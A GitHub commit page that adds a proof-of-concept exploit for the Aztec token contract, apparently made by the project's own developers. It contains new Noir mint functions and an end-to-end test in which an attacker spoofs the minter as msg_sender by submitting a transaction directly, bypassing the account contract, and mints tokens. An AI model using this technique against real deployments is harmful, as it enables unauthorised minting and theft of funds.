Skip to content

Commit

Permalink
chore: add exploit and show run
Browse files Browse the repository at this point in the history
  • Loading branch information
MirandaWood committed Jul 9, 2024
1 parent 819f370 commit 7c08eab
Show file tree
Hide file tree
Showing 3 changed files with 139 additions and 6 deletions.
17 changes: 17 additions & 0 deletions noir-projects/noir-contracts/contracts/token_contract/src/main.nr
Original file line number Diff line number Diff line change
Expand Up @@ -214,6 +214,23 @@ contract Token {
Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context);
}

// Showing an exploit
#[aztec(private)]
fn privately_mint_private_note_to(amount: Field, to: AztecAddress) {
storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to));

Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context);
}

#[aztec(private)]
fn privately_mint_private_note_to_direct(amount: Field, to: AztecAddress) {
// Acts as an entrypoint, so we need to end the setup phase
context.end_setup();
storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to));

Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context);
}

#[aztec(public)]
#[aztec(internal)]
fn assert_minter_and_mint(minter: AztecAddress, amount: Field) {
Expand Down
109 changes: 109 additions & 0 deletions yarn-project/end-to-end/src/e2e_token_contract/exploit.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
import { createAccounts } from '@aztec/accounts/testing';
import { PackedValues, SentTx, TxExecutionRequest } from '@aztec/aztec.js';
import { GasSettings, TxContext } from '@aztec/circuits.js';

import { setupPXEService } from '../fixtures/utils.js';
import { TokenContractTest } from './token_contract_test.js';

describe('e2e_token_contract kernel exploit', () => {
const t = new TokenContractTest('exploit');
let { asset, wallets, aztecNode } = t;

beforeAll(async () => {
await t.applyBaseSnapshots();
await t.setup();
({ asset, wallets, aztecNode } = t);
});

afterAll(async () => {
await t.teardown();
});

it('exploiting the kernel', async () => {
// In the following test, we will show that we can MINT tokens, without being the minter.
// If you look at the `main.nr` of the token contract, and look at the `privately_mint_private_note_to` function
// you will see the following:
//
// #[aztec(private)]
// fn privately_mint_private_note_to(amount: Field, to: AztecAddress) {
// storage.balances.add(to, U128::from_integer(amount)).emit(encode_and_encrypt_note(&mut context, to, to));
// Token::at(context.this_address()).assert_minter_and_mint(context.msg_sender(), amount).enqueue(&mut context);
// }
//
// #[aztec(public)]
// #[aztec(internal)]
// fn assert_minter_and_mint(minter: AztecAddress, amount: Field) {
// assert(storage.minters.at(minter).read(), "caller is not minter");
// let supply = storage.total_supply.read() + U128::from_integer(amount);
// storage.total_supply.write(supply);
// }
//
// As you can see, we will make a call to `assert_minter_and_mint` which will check if the caller is the minter.
// assert(storage.minters.at(minter).read(), "caller is not minter");
//
// The way we are going to bypass that is really simply. Just specify `from` on the simulation to be the `minter`
// and then you send that transaction after your simulation.
//
// The kernel seem to not be checking that we are not just passing any msg_sender we want for the first call,
// so if we pass the minter, and don't go through an account contract, but just directly to the token contract,
// we can mint "as if" we were the minter 😎.

const amount = 10000n;
const minter = wallets[0].getAddress();
// Creating a fully separate PXE to ensure that we are not just knowing some of the same keys
const { pxe: pxeB, teardown: _teardown } = await setupPXEService(aztecNode!, {}, undefined, true);
const attacker = (await createAccounts(pxeB, 1))[0];

await attacker.registerContract({
artifact: asset.artifact,
instance: asset.instance,
});

// We initially try to perform the minting operation as the attacker, as one would normally call the function.
// Here we expect the call to fail, as the attacker is not the minter.
// It will FAIL CORRECTLY here.
await expect(
asset.withWallet(attacker).methods.privately_mint_private_note_to(amount, attacker.getAddress()).simulate(),
).rejects.toThrow('Assertion failed: caller is not minter');

// We store the balance of the attacker for later so we can see his mint working.
const balanceBefore = await asset.withWallet(attacker).methods.balance_of_private(attacker.getAddress()).simulate();

// Now we come to the actual exploit!
// Below we will make a call, simulate it with the minter as the sender, and then we will broadcast it using the attacker.
// Note that we don't do anything using the minter (wallets[0]) in this test, and that we are even on a separate PXE,
// so it is not a case of bad PXE key management.

// Create the call (mint amount to attacker)
const call = asset
.withWallet(attacker)
.methods.privately_mint_private_note_to_direct(amount, attacker.getAddress())
.request();

// Manually prepare information to do the function call DIRECTLY, without going through the account contract
const entrypointPackedValues = PackedValues.fromValues(call.args);
const request = new TxExecutionRequest(
call.to,
call.selector,
entrypointPackedValues.hash,
new TxContext(attacker.getChainId(), attacker.getVersion(), GasSettings.default()),
[entrypointPackedValues],
[],
);

// Simulate the call with the minter as the sender. Note that we don't even have the minter wallets account contract
// we just need the address.
console.log(minter)
console.log(attacker.getAddress())
const sim = await attacker.simulateTx(request, false, minter);
await new SentTx(wallets[1], wallets[1].sendTx(sim.tx)).wait();

// Get a hold of the balance
const balanceAfter = await asset.withWallet(attacker).methods.balance_of_private(attacker.getAddress()).simulate();

// Ensure that we have increased the balance of the attacker by the amount we minted.
expect(balanceAfter).toEqual(balanceBefore + amount);

console.log(balanceBefore, balanceAfter);
});
});
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ import {
type TxHash,
computeSecretHash,
createDebugLogger,
AztecNode,
} from '@aztec/aztec.js';
import { DocsExampleContract, TokenContract } from '@aztec/noir-contracts.js';

Expand All @@ -34,6 +35,7 @@ export class TokenContractTest {
asset!: TokenContract;
tokenSim!: TokenSimulator;
badAccount!: DocsExampleContract;
aztecNode!: AztecNode;

constructor(testName: string) {
this.logger = createDebugLogger(`aztec:e2e_token_contract:${testName}`);
Expand All @@ -46,12 +48,17 @@ export class TokenContractTest {
* 2. Publicly deploy accounts, deploy token contract and a "bad account".
*/
async applyBaseSnapshots() {
await this.snapshotManager.snapshot('3_accounts', addAccounts(3, this.logger), async ({ accountKeys }, { pxe }) => {
const accountManagers = accountKeys.map(ak => getSchnorrAccount(pxe, ak[0], ak[1], 1));
this.wallets = await Promise.all(accountManagers.map(a => a.getWallet()));
this.accounts = await pxe.getRegisteredAccounts();
this.wallets.forEach((w, i) => this.logger.verbose(`Wallet ${i} address: ${w.getAddress()}`));
});
await this.snapshotManager.snapshot(
'3_accounts',
addAccounts(3, this.logger),
async ({ accountKeys }, { pxe, aztecNode }) => {
const accountManagers = accountKeys.map(ak => getSchnorrAccount(pxe, ak[0], ak[1], 1));
this.wallets = await Promise.all(accountManagers.map(a => a.getWallet()));
this.accounts = await pxe.getRegisteredAccounts();
this.wallets.forEach((w, i) => this.logger.verbose(`Wallet ${i} address: ${w.getAddress()}`));
this.aztecNode = aztecNode;
},
);

await this.snapshotManager.snapshot(
'e2e_token_contract',
Expand Down

0 comments on commit 7c08eab

Please sign in to comment.